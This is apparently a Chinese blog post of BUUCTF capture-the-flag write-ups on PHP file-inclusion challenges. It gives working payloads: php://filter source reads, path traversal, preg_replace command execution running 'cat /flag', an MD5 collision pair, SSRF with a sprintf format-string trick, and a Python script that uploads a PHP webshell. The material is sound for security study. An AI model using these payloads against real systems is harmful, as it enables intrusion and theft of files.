2020-08-18
3.9k
BUUCTF刷题——文件包含
BSidesCTF2020 Had a bad day
考点
解题
index.php
有一个参数是woofers,测试SQL注入的是发现了include函数的报错,用PHP伪协议读取文件
审计index.php
1 2 3 4 5 6 7 8 9 10 11 <?php $file = $_GET['category' ]; if (isset ($file)){ if ( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index" )){ include ($file . '.php' ); } else { echo "Sorry, we currently only support woofers and meowers." ; } } ?>
传入的category
需要有woofers
,meowers
,index
才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php,直接试一下在woofers后面加/../flag
上面这个应该是非预期解,我随便试一下竟然直接出来了,这个思路可以记着。
预期解的payload的思路是利用php://filter伪协议可以套一层协议读取flag.php
1 index.php?category=php://filter/convert.base64-encode/index/resource=flag
极客大挑战 2019 Secret File
考点
解题
查看源码
访问Archive_room.php
Burp抓包
访问secr3t.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <html> <title>secret</title> <meta charset="UTF-8"> <?php highlight_file(__FILE__); error_reporting(0); $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag放在了flag.php里 ?> </html>
include($file)
文件包含,而且不能用input
、data
等伪协议来读取文件。
文件包含漏洞利用方式
payload:
1 ?file=php://filter/read=convert.base64-encode/resource=flag.php
ACTF2020 新生赛 Include
TODO
BJDCTF2020 ZJCTF 不过如此
考点
PHP伪协议读取文件
preg_match命令执行
解题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting(0 ); $text = $_GET["text" ]; $file = $_GET["file" ]; if (isset ($text)&&(file_get_contents($text,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents($text,'r' )."</h1></br>" ; if (preg_match("/flag/" ,$file)){ die ("Not now!" ); } include ($file); } else { highlight_file(__FILE__ ); } ?>
很明显要使用文件包含读取next.php
,payload:
1 http://efb75f40-dbf6-4b18-ab6e-d3e05813d2bb.node3.buuoj.cn/?text=php://input&file=php://filter/convert.base64-encode/resource=next.php
POST:I have a dream
解码得到next.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $id = $_GET['id' ]; $_SESSION['id' ] = $id; function complex ($re, $str ) { return preg_replace( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str) { echo complex($re, $str). "\n" ; } function getFlag ( ) { @eval ($_GET['cmd' ]); }
这里涉及到preg_replace()
函数的命令执行,附上分析文章:https://xz.aliyun.com/t/2557
payload:
1 http://efb75f40-dbf6-4b18-ab6e-d3e05813d2bb.node3.buuoj.cn/next.php?\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);
执行system函数后面要加分号。
安洵杯2019 easyweb
考点
解题
进入题目之后观察url:http://4e78d6a5-8227-41e7-95d5-6b01336c4a5c.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
,img的参数比较可疑,用base64解码一次得到MzUzNTM1MmU3MDZlNjc=
,感觉又要base64解码一次得到3535352e706e67
,这个就比较像16进制了,转码后发现是555.png
,很明显的文件包含,写一个python脚本生成index.php
的参数。
1 2 3 4 5 6 7 import base64import binasciifilename='index.php' .encode('utf-8' ) hex = binascii.b2a_hex(filename) encode_str = base64.encode(base64.encode(hex)) print(encode_str)
得到index.php
的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8' ); $cmd = $_GET['cmd' ]; if (!isset ($_GET['img' ]) || !isset ($_GET['cmd' ])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' ); $file = hex2bin(base64_decode(base64_decode($_GET['img' ]))); $file = preg_replace("/[^a-zA-Z0-9.]+/" , "" , $file); if (preg_match("/flag/i" , $file)) { echo '<img src ="./ctf3.jpeg">' ; die ("xixi~ no flag" ); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>" ; echo "<br>" ; } echo $cmd;echo "<br>" ;if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd)) { echo ("forbid ~" ); echo "<br>" ; } else { if ((string )$_POST['a' ] !== (string )$_POST['b' ] && md5($_POST['a' ]) === md5($_POST['b' ])) { echo `$cmd`; } else { echo ("md5 is funny ~" ); } } ?>
第一步md5碰撞,和我之前在这篇文章BJDCTF2020 Easy MD5记录的一样,POST数据:
1 a=1%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00+%F7%B9%9D%AB%97o%3F%E9%85%14%1E%A9%88%86%EDm%02Sj%B1%85%92%5E%07%8E%82Z%97%BC%AD%10%22%C6%CB%D8%CC%8CG%E2%EB%FF%C89%3E%D6%D1mE%AAL4%E1%F2d%CD%E1%073c%04%DA6%1C%BFj%8B%C9%08U%17%22%9D%F3%C5ne%FA%A5%2B%A9%F7%8F_D%E22%D0%AD%B5+%CF%06%60%A8%C7%D3%FB%12T%AF%C2%914%B4B%0A%5C%2C%3C%F9%99P%ED%B0%8E%E4%C7%A8%C2%F6%D0%A6%90%BC%B5%2F%ED&b=1%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00+%F7%B9%9D%AB%97o%3F%E9%85%14%1E%A9%88%86%EDm%02S%EA%B1%85%92%5E%07%8E%82Z%97%BC%AD%10%22%C6%CB%D8%CC%8CG%E2%EB%FF%C89%3EV%D2mE%AAL4%E1%F2d%CD%E1%073%E3%04%DA6%1C%BFj%8B%C9%08U%17%22%9D%F3%C5ne%FA%A5%2B%A9%F7%8F%DFD%E22%D0%AD%B5+%CF%06%60%A8%C7%D3%FB%12T%AF%C2%914%B4B%0A%5C%2C%BC%F8%99P%ED%B0%8E%E4%C7%A8%C2%F6%D0%A6%10%BC%B5%2F%ED
第二步就是绕过这个正则表达式,需要FUZZ Linux命令去执行读取文件,这里提供两个命令:sort
和strings
。
另外,过滤反斜杠 |\\|\\\\|
的这两个正则没有写好,导致了反斜杠的逃逸,直接用ca\t
命令。
关于这个反斜杠逃逸我是真的没太看懂。。。
BJDCTF2nd 文件探测
考点
文件包含
SSRF
格式化字符串漏洞
Session绕过
解题
查看HTTP返回头发现有一个Hint:home.php
,访问后观察url
file参数是一个文件名,用php伪协议尝试文件包含
home.php
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php setcookie("y1ng" , sha1(md5('y1ng' )), time() + 3600 ); setcookie('your_ip_address' , md5($_SERVER['REMOTE_ADDR' ]), time()+3600 ); if (isset ($_GET['file' ])){ if (preg_match("/\^|\~|&|\|/" , $_GET['file' ])) { die ("forbidden" ); } if (preg_match("/.?f.?l.?a.?g.?/i" , $_GET['file' ])){ die ("not now!" ); } if (preg_match("/.?a.?d.?m.?i.?n.?/i" , $_GET['file' ])){ die ("You! are! not! my! admin!" ); } if (preg_match("/^home$/i" , $_GET['file' ])){ die ("禁止套娃" ); } else { if (preg_match("/home$/i" , $_GET['file' ]) or preg_match("/system$/i" , $_GET['file' ])){ $file = $_GET['file' ].".php" ; } else { $file = $_GET['file' ].".fxxkyou!" ; } echo "现在访问的是 " .$file . "<br>" ; require $file; } } else { echo "<script>location.href='./home.php?file=system'</script>" ; }
同样的方式可以读取system.php
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 <?php error_reporting(0); if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){ echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>"; header("Refresh:0.1;url=index.php"); die; } $str2 = ' Error: url invalid<br>~$ '; $str3 = ' Error: damn hacker!<br>~$ '; $str4 = ' Error: request method error<br>~$ '; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>File Detector</title> <link rel="stylesheet" type="text/css" href="css/normalize.css" /> <link rel="stylesheet" type="text/css" href="css/demo.css" /> <link rel="stylesheet" type="text/css" href="css/component.css" /> <script src="js/modernizr.custom.js"></script> </head> <body> <section> <form id="theForm" class="simform" autocomplete="off" action="system.php" method="post"> <div class="simform-inner"> <span><p><center>File Detector</center></p></span> <ol class="questions"> <li> <span><label for="q1">你知道目录下都有什么文件吗?</label></span> <input id="q1" name="q1" type="text"/> </li> <li> <span><label for="q2">请输入你想检测文件内容长度的url</label></span> <input id="q2" name="q2" type="text"/> </li> <li> <span><label for="q1">你希望以何种方式访问?GET?POST?</label></span> <input id="q3" name="q3" type="text"/> </li> </ol> <button class="submit" type="submit" value="submit">提交</button> <div class="controls"> <button class="next"></button> <div class="progress"></div> <span class="number"> <span class="number-current"></span> <span class="number-total"></span> </span> <span class="error-message"></span> </div> </div> <span class="final-message"></span> </form> <span><p><center><a href="https://gem-love.com" target="_blank">@颖奇L'Amore</a></center></p></span> </section> <script type="text/javascript" src="js/classie.js"></script> <script type="text/javascript" src="js/stepsForm.js"></script> <script type="text/javascript"> var theForm = document.getElementById( 'theForm' ); new stepsForm( theForm, { onSubmit : function( form ) { classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' ); var messageEl = theForm.querySelector( '.final-message' ); form.submit(); messageEl.innerHTML = 'Ok...Let me have a check'; classie.addClass( messageEl, 'show' ); } } ); </script> </body> </html> <?php $filter1 = '/^http:\/\/127\.0\.0\.1\//i'; $filter2 = '/.?f.?l.?a.?g.?/i'; if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) { $url = $_POST['q2'].".y1ng.txt"; $method = $_POST['q3']; $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>"; echo $str1; if (!preg_match($filter1, $url) ){ die($str2); } if (preg_match($filter2, $url)) { die($str3); } if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) { die($str4); } $detect = @file_get_contents($url, false); print(sprintf("$url method&content_size:$method%d", $detect)); } ?>
重点关注后半段PHP代码,我们可以获取到以下的限制条件:
1.不能包含有flag字符串
2.q2的值必须以http://127.0.0.1/
开头,其实相当于是限制了只能通过SSRF读取文件
3.POST获取了q1、q2、q3三个值,其中q1值并没有什么限制,q2后会拼接“.y1ng.txt”字符串,q3中需要以GET或POST字符串开头。
首先是无法直接读取到flag文件,通过home.php文件的源码我们可以猜测应该还存在admin.php文件。其次就是我们传进去的URL即q2值会被拼接上无用字符串,我们可以通过在URL后加 “?a=(GET赋值给一个参数)” 或 “#(锚点)” 来让其失效,
最后一个考的点就是在这两行代码上:
1 2 $detect = @file_get_contents($url, false ); print (sprintf("$url method&content_size:$method %d" , $detect));
这里牵扯到了字符串的格式化的知识,%d会将$detect以二进制数的形式输出,所以并不能得到我们需要的源码。
而主要思路就是让$detect以字符串形式(%s)来输出,我们有两种读取admin.php源码的方法:
%1$s
—— 这种办法原理是%1$s
会将第一个参数用string类型输出,而这道题中第一个参数便是admin.php的源码,语句是:
1 print(sprintf("$url method&content_size:"GET%1$s%d", $detect)); // %1$s会以字符串格式输出$detect,而%d会输出0
%s%
—— 这种办法的原理是sprintf()函数中%可以转义掉%,这样语句就变成了:
1 print(sprintf("$url method&content_size:"GET%s%%d", $detect)); // %d前的%被转义
构造出Payload,POST发送给system.php即可获得admin.php
的源码:
1 q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%1$s
admin.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php error_reporting(0 ); session_start(); $f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}' ; function aesEn ($data, $key ) { $method = 'AES-128-CBC' ; $iv = md5($_SERVER['REMOTE_ADDR' ],true ); return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv)); } function Check ( ) { if (isset ($_COOKIE['your_ip_address' ]) && $_COOKIE['your_ip_address' ] === md5($_SERVER['REMOTE_ADDR' ]) && $_COOKIE['y1ng' ] === sha1(md5('y1ng' ))) return true ; else return false ; } if ( $_SERVER['REMOTE_ADDR' ] == "127.0.0.1" ) { highlight_file(__FILE__ ); } else { echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR' ]; } $_SESSION['user' ] = md5($_SERVER['REMOTE_ADDR' ]); if (isset ($_GET['decrypt' ])) { $decr = $_GET['decrypt' ]; if (Check()){ $data = $_SESSION['secret' ]; include 'flag_2sln2ndln2klnlksnf.php' ; $cipher = aesEn($data, 'y1ng' ); if ($decr === $cipher){ echo WHAT_YOU_WANT; } else { die ('爬' ); } } else { header("Refresh:0.1;url=index.php" ); } } else { mt_srand(rand(0 ,9999999 )); $length = mt_rand(40 ,80 ); $_SESSION['secret' ] = bin2hex(random_bytes($length)); } ?>
代码中第一层if循环else代码块中的mt_srand随机数是真随机数,不能爆破。这里有一个Trick:
session绕过。删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL,相当于传参NULL。
https://www.jianshu.com/p/9c031dee57b7
所以只要我们在访问admin.php时,删除session访问,代码就会变成:
1 $cipher = aesEn('', 'y1ng');
因此我们就可以计算出密钥,从而获得Flag。
把加密算法改一下得到:
1 2 3 4 5 6 7 function aesEn($data, $key){ $method = 'AES-128-CBC'; $iv = md5('174.0.0.2',true); return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv)); } echo aesEn('', 'y1ng')
NPUCTF2020 ezinclude
考点
解题
一进来提示 uername/password error,看的我一脸懵逼。查看网页源代码:
1 <!--md5($secret.$name)===$pass -->
查看cookie
直接给了Hash值,GET参数pass=Hash值。
跳转到404页面,但是中间明显有一个location重定向,用bp重放。
存在文件包含漏洞,PHP伪协议读物文件
index.php
flflflflag.php
查看PHP版本7.0.3,可以使用PHP Segfault上传shell
1 2 3 4 5 6 7 8 9 10 11 import requestsfrom io import BytesIOfile_data = { 'file' : BytesIO(b"<?php eval($_POST[cmd]);" ) } url = "http://db4c33c0-8231-45b5-8aec-dbcadfeb8704.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" try : r = requests.post(url=url, files=file_data, allow_redirects=False ) except Exception as e: print(e)
flag在phpinfo中。